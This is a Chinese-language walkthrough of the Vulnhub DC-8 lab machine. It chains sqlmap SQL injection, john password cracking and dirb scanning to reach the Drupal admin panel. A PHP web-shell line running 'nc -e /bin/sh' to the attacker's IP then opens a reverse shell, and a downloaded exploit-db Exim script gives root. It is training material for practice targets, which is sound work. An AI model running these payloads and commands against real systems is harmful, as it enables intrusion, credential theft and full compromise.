CNjuzi
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

Vulnhub--DC-8
一,部署方法
- 在官网上下载zip压缩包
- 下载到本地上解压缩后使用虚拟机导入.ova后缀的文件(在过程中出现问题不用理睬,点击重试即可)
- 配置网络,本人设置的是nat模式,这个看个人需求
- 打开靶机即可
二,靶机地址和描述
- 下载地址
https://www.vulnhub.com/entry/dc-8,367/
- 靶机描述
三,测试
1. 信息收集
arp-scan -l
扫描网段,寻找靶机地址
攻击机地址是148,靶机地址为152.
使用nmap进行深度扫描
nmap -A -T4 -p- 192.168.237.152
发现开放了22端口,ssh服务和80端口,web服务。而且这个站点的CMS是drupal。
首先访问靶机的80端口。
浏览页面,进行尝试点击功能点,发现URL处有点意思
进行点击不同功能点时,URL中的nid=的数字都在变化,怀疑存在SQL注入漏洞,在?nid=2后加上单引号’。观察页面。
发现存在SQL注入漏洞。使用sqlmap直接爆破。
2. SQL注入漏洞
这里使用这个靶场详解一下sqlmap使用时的命令。
- 爆破数据库
sqlmap -u "http://192.168.237.152/?nid=2" --dbs
这里爆破出两个数据库
- 爆破当前数据库
sqlmap -u "http://192.168.237.152/?nid=2" --current-db
- 爆破指定数据库的所有表名
sqlmap -u "http://192.168.237.152/?nid=2" -D d7db --tables
发现一个表名是users,怀疑在这个表里有用户的信息。
- 爆破指定数据库指定表名中的所有列名
sqlmap -u "http://192.168.237.152/?nid=2" -D d7db -T users --columns
存在name和pass的字段,怀疑这里存在用户名和密码。
(5)爆破字段
sqlmap -u "http://192.168.237.152/?nid=2" -D d7db -T users -C name,pass --dump
这里发现用户名和密码,但是密码进行加密,使用kali自带工具john进行解密
3.john破解密码
将密码放入passwd.txt中
使用john进行破解密码
这里爆破出来一个密码,尝试在前端登录,发现是john用户的密码。
用户名/密码:john/turtle
4.后台账户密码登录
在前一步中找到账户和密码,这是发现没有后台登陆地址,这就是信息收集不到位的结果,希望小伙伴们不要犯小编的错误哦~
这时使用目录扫描工具对网站进行扫描
dirb http://192.168.237.152/
找到后台登录入口
使用用户名和密码:john/turtle进行登录,成功登录
这时寻找功能点尝试进行getshell
5. Getshell
进行查看功能点中发现在Content下的Contact US页面可做修改
这里尝试写入一句话木马进行反弹shell。
写入:
<? php system(“nc -e /bin/sh 192.168.237.148 6666”); ?>
下滑点击save保存。
然后返回view界面,随便填写信息进行提交,同时在攻击机上进行监听
成功监听
进行交互式shell
python -c “import pty;pty.spawn(‘/bin/bash’)”
发现是最低权限,尝试进行suid提权
6. 提权
find / -perm -u=s -type f 2>/dev/null
查找suid提权的命令
这里发现不属于本身的东西,exim4很有嫌疑,首先exim是一个MTA邮件传输代理服务器软件。这很可疑。
查看这个exim4的版本号
exim4 --version
在百度中搜索关于这个版本的相关信息,查找是否有可利用漏洞
找到漏洞点,这里尝试使用kali自带的漏洞库进行搜索是否有匹配的漏洞利用模组。
searchspoit exim 4
这里找到关于此版本的漏洞模组,将其复制到当前目录,命名为shell.sh
cp /usr/share/exploitdb/exploits/linux/local/46996.sh shell.sh
将这个shell.sh移动到攻击机的/var/www/html的目录下,然后在靶机开放apache服务,再使用刚才反弹的shell,下载攻击机中的shell.sh文件。
这时在反弹的shell中下载攻击机中的shell.sh
发现在当前目录无法下载,怀疑是否保存到/tmp目录中去,查看也没有存在
那不如在当前目录尝试下载
在当前目录下载成功。
查看shell.sh的权限情况
发现shell脚本的权限较低,首先赋予脚本高权限,再运行。
chmod 777 shell.sh
成功赋予脚本权限,下一步就是执行脚本了
./shell.sh
发现执行失败,这时给我整蒙了,这咋回事呢,我从脚本文件处寻找答案。
经过长时间的网上冲浪,终于搞清楚原因了!!
原来这里的.sh脚本文件的格式为dos格式。而Linux系统只能解析执行unix格式脚本文件。这里就需要将dos格式转换为unix格式的脚本文件。或者是告诉Linux系统中的vim编辑器需要使用unix换行符,否则无法解析该文件。
这里需要在攻击机的/var/www/html目录下修改shell.sh的脚本,在其脚本文件最后添加:
:set ff=unix
告诉vim编辑器,必须使用换行符,否则无法执行该文件。修改完成后,重新在靶机中下载文件,赋予权限,执行脚本。
在靶机下面删除原脚本文件
重新下载脚本文件
赋予权限
执行脚本文件
发现依旧无法执行,可能是小编这里重写文件失败或者是写入有问题,依旧无法执行。
这里小编再次懵掉,网上冲浪后发现可以使用命令直接替换结尾符为unix。
sed -i “s/\r//” shell.sh 或者 sed -i “s/^M//” shell.sh
成功提权。
7. 找到flag
成功找到flag.
(这里提示一点,使用改exp提权成功后进入root用户下时,输入命令有时间限制,要是超出了时间限制就会结束链接,退出当前链接,你只能再次链接,小编连了好几次(哭脸))
四.总结
- 信息收集
- SQL注入(sqlmap的使用)
- john工具的使用
- 使用drupalCMS漏洞点进行getshell
- 使用89漏洞进行提权
- Dos格式转unix格式
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
